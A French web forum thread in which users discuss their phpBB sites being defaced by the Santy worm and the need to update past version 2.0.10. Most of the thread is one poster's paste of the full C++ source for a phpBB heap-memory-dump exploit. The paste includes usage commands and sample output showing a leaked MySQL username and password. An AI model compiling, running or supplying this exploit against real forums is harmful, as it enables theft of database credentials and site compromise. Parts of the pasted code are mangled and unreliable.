voila, comme vous savez tous, mon site c´est fait hacké ! et bien non ! c´est l´oeuvre de ce virus exactement : http://www.secuser.com/alertes/2004/santy.htm
( merci loic544 pour le lien)
il disent de suprimer les fichiers créé par le virus, ce sont les quel ? quelqu´un a plus d´info ?
ben si tu t´ai defacéé ton forum c´est l´index qu´il faut remettre mais la il est mort le forum surement, reinstalle le, tu aurais du faire une backup regulierement
Fai une analyse virale en ligne ou un truc dans le genre ca te filera les fichiers infecté puis supprime les...
BONNE ANNE et BONNE SANTE ![]()
evidement que j´avai fait une save ! j´ai remplacé tout les fichier ! mais il reste peut etre des fichier infecté ?
comment faire une analyse anti-virus pour site ? ( lol)
euh je vien de penser, n´est ce pas possible que ce soit mon hebergeur entier qui se soit fait contaminé ? ( allo-heberge)
mais tout est rentré dans l´ordre et j´ai mis a jour le forum.
mais j´aimerais plus d´info a propo de cette saloperie !
ca na rien n´a voir avec un virus normal, ton site a été defacé le truc c´est que ke le prog a exploité la faille et a niker ton index c tt
nan nan ! TOUTE les page de mon site, leur contenu ont été remplacé par " this site is defaced . .." ! !!
d´ailleur, je crois que allo-heberge c´est fait hacker ! !!
==> http://www.elus.dafun.com/
meme probleme ! !
simple coincidence ou tout allo-heberge est en cause ?
![]()
![]()
donc ceux qui ont un forum phpbb en dessous du 2.0.11 faites gaffe
vu que le virus regarde sur google les forum et teste si c´est patché ou pas
![]()
![]()
![]()
Faut pas dire que vous avez pas été prévenu... On update rapidement son site en général, quand on voit les grosses failles abominables de phpBB 2.0.10
/ *
*** coded by overdose ***
slythers gmail com
php bug in ext/standart/var_unserializer.c
http://www.securityfocus.com/archive/1/384663/2004-12-13/2004-12-19/0
for read heap memorie with phpbb2 ; >
tested :
phpbbmemorydump.exe " http://site.com/phpbb/" 30000 -cookiename=phpbb2support > a.txt
result:
- string detected : / home/virtual/site.com/phpBB/config.php
- string detected : dbname
- string detected : PT_N
- string detected : phpbb
- string detected : dbuser
- string detected : phpbb < < mysql user
- string detected : dbpasswd
- string detected : phpBB_R0cKs < < mysql password
- string detected : table_prefix
- string detected : phpbb_
use like :
phpbbmemorydump.exe " http://site.com/phpbb2/" nboctettoreadinheap [repeat/display_all_heap]
[-cookiename=phpbb2mysql]
greetz:
my crew MWA
pull the plug , vortex challenge
www.security-challenge.com
http://overdose.tcpteam.org/
slipknot , dr dre , . ..
all #s-c and all i forget
compile with borland c++ ( freecommandlinetools) :
bcc32 -c serv.cpp
bcc32 bbmemorydump.cpp serv.obj
char signaturequete[512];
struct url{
char *dns;
char *uri;
unsigned short port;
};
struct url parseurl(char *of);
char * intostr(int erf);
bool goodcar(char carac);
unsigned int utf8decode(char *utf);
char alphanum(char *of,bool *wesh);
int main(int argc,char **argv)
{
struct url urlparsed;
serveur http;
unsigned int nbmemread;
char car;
bool repeat = 0;
bool displayheap = 0;
char *cookname = DEFAULT_COOKIE_NAME;
WSAData wsadata;
if ( WSAStartup(MAKEWORD(2, 0),&) ! = 0)
return 1;
cout < <"coded by overdose / bad boyz coding"<<endl;
if(argc < 3)
{
cout < <" use like : " <<argv[0]<<" \"http://site.com/phpbb2/\" nboctettoreadinheap
[repeat/display_all_heap] [-cookiename=phpbb2mysql]"<<endl;
return 0;
};
for(int argcpt = 3;argcpt < argc;argcpt++)
{
if(!strcmp(argv[argcpt],"repeat"))
repeat = 1;
else if(!strcmp(argv[argcpt],"display_all_heap"))
displayheap = 1;
else
if(!strncmp(argv[argcpt],"-cookiename=",sizeof("-c
ookiename=")-1))
{
cookname= argv[argcpt] + sizeof("-cookiename=")-1;
};
};
strcpy(SIGNATURE_REQUEST,SIGNATURE_REQUEST_START)
;
strcat(SIGNATURE_REQUEST,cookname);
strcat(SIGNATURE_REQUEST,END_SIGNATURE);
nbmemread = atoi(argv[2]);
if(!nbmemread)
return 0;
urlparsed = parseurl(argv[1]);
if(!urlparsed.uri)
return 0;
do{
http.createsocket();
if(!http.connectsocket(urlparsed.dns,urlparsed.p
ort))
{
cout < < " can´t connect to " <<urlparsed.dns<<endl;
return 0;
};
http < < " GET " ;
http < < urlparsed.uri ;
http < < " HTTP/1.1\nHost: " ;
http < < urlparsed.dns ;
http < < " \nCookie: " ;
http < < cookname;
http < < " _data=s:";
http < < intostr(nbmemread);
http < < " :%22test1%22%3b; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=";
http < < urlparsed.dns;
http < < " \nCookie: " ;
http < < cookname;
http < < " _sid=1cfd759c33ba2a45b994c7b7cfd948ec; path=/; domain=";
http < < urlparsed.dns;
http < < " \nAccept-Language: fr\nUser-Agent: Mozilla/4.0 ( compatible; MSIE 6.0; Windows
NT 5.1)\nConnection: close\n\n";
cout < <"requete effectuer . .."<<endl;
char signature[sizeof(SIGNATURE_REQUEST)];
char *word,*wtmp;
unsigned int cpt , sizesign;
unsigned int compteur,cptstr;
bool exit = 0;
sizesign = strlen(SIGNATURE_REQUEST);
memset(signature,´a´,sizesign);
signature[sizesign] =´\0´;
compteur = 0;
cptstr = 0;
while(!exit && http.getnb(&,sizeof(char)))
{
// ajout du detecteur de heap
for(cpt = 0; cpt < ( sizesign-1);cpt++)
signature[cpt] = signature[cpt+1];
signature[sizesign-1] = car;
if(!strcmp(signature,SIGNATURE_REQUEST))
{
word = new char[nbmemread*3+1];
word[cptstr] = ´\0´;
compteur = strlen(intostr(nbmemread)) + 4;
for(cpt = 0; cpt < compteur;cpt++)
http.getnb(&,sizeof(char));
while(!exit && http.getnb(&,sizeof(char)))
{
if((car == ´;´) || ( cptstr > = ( nbmemread*3)))
{
exit = 1;
continue;
};
word[cptstr] = car;
cptstr++;
word[cptstr] =´\0´;
};
if(displayheap)
cout < < word<<endl;
nbmemread = utf8decode(word);
for(compteur = 0;compteur < nbmemread;)
{
for(cpt=compteur;goodcar(word[cpt]);cpt++);
if((cpt - compteur) > MIN_NB_LETTRE )
{
wtmp = new char[(cpt - compteur)+1];
strncpy(wtmp,&[compteur],cpt - compteur);
wtmp[cpt - compteur] = ´\0´;
cout < <"- string detected : " < <wtmp<<endl;
delete[] wtmp;
}
if(!(cpt - compteur))
cpt++;
compteur = cpt;
};
delete[] word;
};
};
http.closesock();
if(repeat)
{
cout < <endl<<"attente jusqu´a la prochaine requete . .."<<endl;
Sleep(NB_SEC_FOR_WAIT);
};
}while(repeat);
/*
delete[] urlparsed.uri;
delete[] urlparsed.dns;
*/
WSACleanup();
return 0;
}
struct url parseurl(char *of)
{
struct url retour;
unsigned int taille;
char tmp;
retour.dns = 0x00;
retour.uri = 0x00;
retour.port = HTTP_PORT ;
while( *of && ( *of ! = ´:´))
of++;
if(*of && *(of+1) && *(of+2))
{
if((*(of+1) ! = ´/´) || ( *(of+2) ! = ´/´))
return retour;
of += 3;
for(taille = 0; ( of[taille] ! = ´/´) && ( of[taille] ! = ´\0´) && ( of[taille] ! = ´:´);taille++);
retour.dns = new char [taille+1];
memcpy(retour.dns,of,taille);
retour.dns[taille] = ´\0´;
of += taille;
if(*of == ´:´)
{
of++;
for(taille = 0; ( of[taille] ! = ´/´) && ( of[taille] ! = ´\0´);taille++);
tmp = of[taille];
of[taille] = ´\0´;
if(taille)
retour.port = atoi(of);
of[taille] = tmp;
of += taille;
};
if(!*of)
{
retour.uri = new char[2];
strcpy(retour.uri,"/");
}
else
{
retour.uri = new char [strlen(of)+1];
strcpy(retour.uri,of);
};
};
return retour;
}
char * intostr(int erf)
{
char *chaine;
int puissance;
int erf2;
if( erf > = 0)
{
puissance =0;
for(int kekette = 1;kekette<=erf;kekette = kekette*10)
{
puissance++;
};
if ( puissance == 0)
{
puissance = 1;
};
chaine = new char[puissance+1];
chaine[puissance] =´\0´;
for(int arf = puissance-1;arf > =0;arf--)
{
erf2 = erf % 10 ;
chaine[arf] = ´0´ + erf2;
erf = erf / 10;
};
return chaine;
}
else
return 0;
}
bool goodcar(char carac)
{
unsigned short cpt;
if(!carac)
return 0;
// i hate do like this :/char *goodcar =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMONPQRSTUVW
XYZ012345689<>é@à)]=}è[_-
{#&*\\/-+~´ç$%.:;|^~$,!?\"\´\t\r\n " ;
for(cpt = 0;(goodcar[cpt] ! = ´\0´) && ( goodcar[cpt] ! = carac);cpt++);
if(goodcar[cpt] == carac)
return 1;
return 0;
}
unsigned int utf8decode(char *utf)
{
char *r;
char *w;
char tmp;
bool han;
r = w = utf;
while(*r)
{
if(*r ==´%´)
{
tmp = alphanum(r+1,&);
if(han)
{
*w = tmp;
r += 2;
}
else
*w = *r;
}
else
*w = *r;
w++;
r++;
};
*w = ´\0´;
return ( w-utf);
}
char alphanum(char *of,bool *wesh)
{
unsigned char retour;
retour = 0x00;
*wesh = 0;
if(!(*of && *(of+1)))
return 0x00;
if((*of > = ´a´) && ( *of < = ´f´))
retour = ( (*of - ´a´) +10) * 0x10;
else if((*of > = ´A´) && ( *of < = ´F´))
retour = ( (*of - ´A´) +10) * 0x10;
else if((*of > = ´0´) && ( *of < = ´9´))
retour = ( *of - ´0´) * 0x10;
else
return 0x00;
of++;
if((*of > = ´a´) && ( *of < = ´f´))
retour += ( (*of - ´a´) +10);
else if((*of > = ´A´) && ( *of < = ´F´))
retour += ( (*of - ´A´) +10);
else if((*of > = ´0´) && ( *of < = ´9´))
retour += ( *of - ´0´);
else
return 0x00;
*wesh = 1;
return retour;
}
Un peu de compilation et beaucoup de dégâts...
Je vous rassure, j´ai vu des mes propres yeux la version 2.1 de phpBB, elle a l´ai d´être pas mal. Elle arrivera sous peu.
Très gentil de nous poster un gros code source. Mais euh... on s´en fout, les descriptions suffisent :p
![]()
![]()
Je vous rassure, j´ai vu des mes propres yeux la version 2.1 de phpBB, elle a l´ai d´être pas mal. Elle arrivera sous peu.
et y a la version 2.2 qui arrive aussi
beh de toute facon chicken a toujours a un train de retard
![]()